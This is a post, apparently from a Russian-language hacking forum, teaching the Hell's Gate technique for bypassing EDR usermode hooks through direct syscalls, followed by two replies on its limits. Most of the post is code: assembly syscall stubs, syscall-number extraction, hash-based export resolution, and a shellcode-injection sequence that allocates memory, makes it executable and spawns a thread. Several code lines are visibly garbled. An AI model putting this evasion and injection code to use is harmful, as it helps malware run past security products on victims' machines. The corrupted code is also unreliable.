• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Windows API Unhooking Continued: Hell’s Gate Technique

Remio

HDD-drive
Пользователь
Регистрация
13.06.2025
Сообщения
42
Реакции
35
Author Remio
Source https://xss.pro

REMIO Q | 19/06/2025 | Windows API Unhooking Continued: Hell’s Gate Technique




In my previous post I give an introduction to Windows API unhooking and provide a demonstration for the RecycledGate technique. I will continue on from this post with a throwback to the classic Hell’s Gate technique: the foundational technique for bypassing usermode EDR hooks through direct syscall execution.

The technique works by parsing NTDLL’s export table at runtime and locating target functions (NtAllocateVirtualMemory, NtCreateThreadEx etc.) extracting their syscall numbers from the function prologue, and then executing those syscalls directly through a custom asm stub. This eliminates the need to call through potentially monitored API entry points.

One of the classic tactics for bypassing usermode EDR hooks is to simply bypass the Import Address Table (IAT). By this I mean instead of using standard Win API (LoadLibrary, GetProcAddress etc.), you simply parse the Export Address Table (EAT) of kernel32.dll directly in memory, letting you dynamically resolve functions at runtime and avoid static imports.

Such technique was showcased back in 1997 29a Labs ezine, where a minimal API resolver to keep aninfector fully relocatable and independent of hardcoded addresses was demonstrated.

This is still a valid, albeit dated evasion strategy. Red Team tooling has moved toward raw syscalls however.

But there exists a catch. Tools like SysWhispers depend entirely on static syscall IDs. They’re brittle, hardcoded, version specific, and reliant on j00ru’s syscall tables (https://j00ru.vexillium.org/syscalls/nt/64/). Not very evasive.

Hell’s Gate represents the evolution from static syscall implementations (which hardcode syscall numbers) to dynamic resolution, making the technique more portable across different Windows versions where syscall numbers may vary.

It is worth noting that while Hell’s Gate isa significant leap forward in evasion techniques, it is not without limitations. Some modern EDRs have introduced kernel-level syscall tracing, or heuristics that detect unnatural syscall usage patterns. Furthermore, due to the public nature of the technique, some EDRs flag the specific assembly stub used in most Hell’s Gate PoCs. Despite this, it remains a valuable educational reference and a viable method when adapted properly, particularly in scenarios where stealth is prioritized over stability.

In the next part we shall explore an demonstration of this technique.



Execution Flow:

Код:
Your Code → HG_NtAllocateVirtualMemory → HellsGate → HellDescent → syscall → Kernel → Direct system call execution

Hell's Gate x64 Demonstration Program

This demonstration focuses on dynamically locating syscall numbers for key NT functions and invoking them directly via custom assembly stubs. The final result is a stealthy syscall framework that avoids traditional monitored APIs like VirtualAlloc or CreateThread.

Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo

Project Structure:
HellsGate/
  • main.c: Entry point and syscall table logic
  • hellsgate.asm: Assembly syscall engine
  • structs.h: Windows internal types


Assembly Syscall Stub (hellsgate.asm)

Our engine that powers Hell's Gate, written in x64 asm. It enables direct syscall execution while avoiding usermode API stubs entirely.

Код:
; Global storage for syscall number
.data
wSystemCall DWORD 000h

.code
HellsGate PROC
    mov wSystemCall, 000h
    mov wSystemCall, ecx
right
HellsGate ENDP

HellDescent PROC
    mov r10, rcx
    mov eax, wSystemCall
    syscall
right
HellDescent ENDP

HellsGate sets the syscall number passed via ECX into a global variable and sets up syscall execution by moving parameters into correct registers and calling syscall, transferring control to kernel mode.



Syscall Table Structures

Each entry holds the original NTDLL function address, a hash of the function name, and the resolved syscall number.

Код:
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;


Syscall Number Extraction Logic

To find the syscall number, Hell’s Gate scans the function prologue for a known instruction pattern.

Код:
// MOV R10, RCX    (4c 8b d1)
// MOV EAX, XX XX 00 00
if (*((PBYTE)pFunctionAddress + cw) == 0x4c &&
    *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b &&
    *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 &&
    *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 &&
    *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 &&
    *((PBYTE)pFunctionAddress + 7 + cw) == 0x00)
{
    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
    BYTE low  = *((PBYTE)pFunctionAddress + 4 + cw);
    pVxTableEntry->wSystemCall = (high << 8) | low;
    break;
}

If the pattern is found, the immediate value loaded into EAX is extracted as the syscall number.



Hook Detection Logic

Before extracting the number, the code verifies that the function isn’t hooked or patched[.] This ensures that if a syscall or ret appears before the pattern, the function is likely hooked.

Код:
while (TRUE) {
    if (*((PBYTE)pFunctionAddress + cw) == 0x0f &&
        *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
        return FALSE;

    if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
        return FALSE;

    cw++;
}




PE Export Parsing & Hash Lookup

Instead of calling GetProcAddress, the export directory is parsed manually using hashes for stealth.

Код:
DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x7734773477347734;
    INT c;
    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;
    return dwHash;
}

for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
Pachar PCJFUNCTanname = (trafficking)((pbyte)pmodulbase + pediodrugname[cx]);
    PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

    if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
        pVxTableEntry->pAddress = pFunctionAddress;
        // Extract syscall number…
    }
}



PEB Walking for NTDLL Base Address

To populate the syscall table we manually parse the export directory of ntdll.dll using precomputed hashes of the target funtion names. This approach avoids calling standard Windows APIs like GetProcAddress that are often hooked by the EDR.

Instead, we iterate over the exported symbols in memory, compare their hashed names against our known values, and extract the corresponding function addresses. This technique enhances stealth by keeping all the resolution logic internal and avoiding suspicious API use.

Код:
// Get current TEB and PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

// Traverse loader list
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)
    ((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);



Initialization and Table Population

Код:
// Hashes for target functions
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
Table.NtCreateThreadEx.dwHash        = 0x64dc7db288c5015f;
Table.NtProtectVirtualMemory.dwHash  = 0x858bcb1046fb6a37;
Table.NtWaitForSingleObject.dwHash   = 0xc6a2fa174e551bcb;

// Populate syscall table
if (! GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
    return 0x1;



Direct Syscall Execution (Payload Demo)

We demonstrate Hell’s Gate by allocating memory, injecting shellcode, changing memory protection, and creating a thread.

Код:
// 1. Allocate memory
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(Table.NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

2. Copy shellcode
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

// 3. Make it executable
ulOldProtect HEAD = 0;
HellsGate(Table.NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

// 4. Spawn thread
HellsGate(Table.NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1,
    (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

// 5. Wait
HellsGate(Table.NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);



Conclusion & Final Thoughts

Hell’s Gate represents the OG approach to usermode hook evasion through direct syscall execution. By dynamically extracting syscall numbers and executing them directly it completely bypasses inline hooks placed by EDRs on common NTDLL functions.

The beauty of Hell’s Gate lies in its simplicity and effectiveness. Rather than trying to detect or remove hooks it simply goes round them entirely. Every syscall executed through Hell’s Gate transitions directly from user mode to kernel mode without touching potentially monitored API entry points.

While modern EDRs have adapted to detect direct syscall patterns, Hell’s Gate remains a fundimental technique to understand as it makes the foundation for more advanced methods like Halo’s Gate, Tartarus’ Gate, and RecycledGate technique https://xss.pro/threads/140033/#post-992769 . The principles established here - dynamic syscall resolution, PE parsing, and direct kernel transitions - are essential building blocks for modern evasion techniques.

The source code provides a clean demonstration of these concepts. Remember to use these capabilities responsibly and only in authorized testing environments.

Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo

”The path to hell is paved with good intentions, but the gate itself is opened with knowledge.”



Thanks for reading.

- Remy

Demo Program Modified from: https://github.com/am0nsec/HellsGate/tree/master
 
Последнее редактирование модератором:
Your Code → HG_NtAllocateVirtualMemory → HellsGate → HellDescent → syscall → Kernel → Direct system call execution
Конечно могу быть не прав ибо я новокек но.. такое поведение моментально вызовет триггер у AV. Тем более какой смысл учитывая виртуализацию (kaspersky)/ETW (и вопреки заблуждению его анхукнуть ты не можешь, ибо весь логгинг идет в KM)/Minifilter?
Ты их анхукнешь разве что если у тебя есть свой драйвер (и то в 24h2 не факт), что ты этим обойдешь? юзерхуки? так ты ловишь триггер по поведению за HG у нормального ав типа bitdefender.. не понимаю
 
Конечно могу быть не прав ибо я новокек но.. такое поведение моментально вызовет триггер у AV. Тем более какой смысл учитывая виртуализацию (kaspersky)/ETW (и вопреки заблуждению его анхукнуть ты не можешь, ибо весь логгинг идет в KM)/Minifilter?
Ты их анхукнешь разве что если у тебя есть свой драйвер (и то в 24h2 не факт), что ты этим обойдешь? юзерхуки? так ты ловишь триггер по поведению за HG у нормального ав типа bitdefender.. не понимаю
Да, правильные замечания, и теперь правильно, врата ада сами по себе не могут обойти телеметрию ядра, такую как ETW, минифильтры или решения типа гипервизора, такие как виртуализация Касперского.

Честно говоря, поведенческие сигнатуры остаются главной проблемой, прямые системные вызовы в сочетании с инъекцией шелл-кода все еще вызывают эвристики, я знаю, что сегодняшние EDR выходят далеко за рамки хуков пользовательского режима.

Этот пост в основном образовательный / для некоторого контекста моего предыдущего поста. Для тех, кто не знаком, чтобы понять начальные концепции. Я могу в будущем опубликовать расширенные цепочки, включающие исправление ETW, обход AMSI, опустошение процесса или манипуляцию обратным вызовом ядра и т. д. и т. п.

Правильное уклонение в 2025 году требует доступа к ядру, и да, PatchGuard, HVCI и ядро CFG делают это довольно сложным, но я рассмотрю это. Простые трюки пользовательского режима, подобные этому, больше не справляются с защитой корпоративного уровня.

Он по-прежнему хорош для обучения и обхода слабых АВ, но не является золотым оружием.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх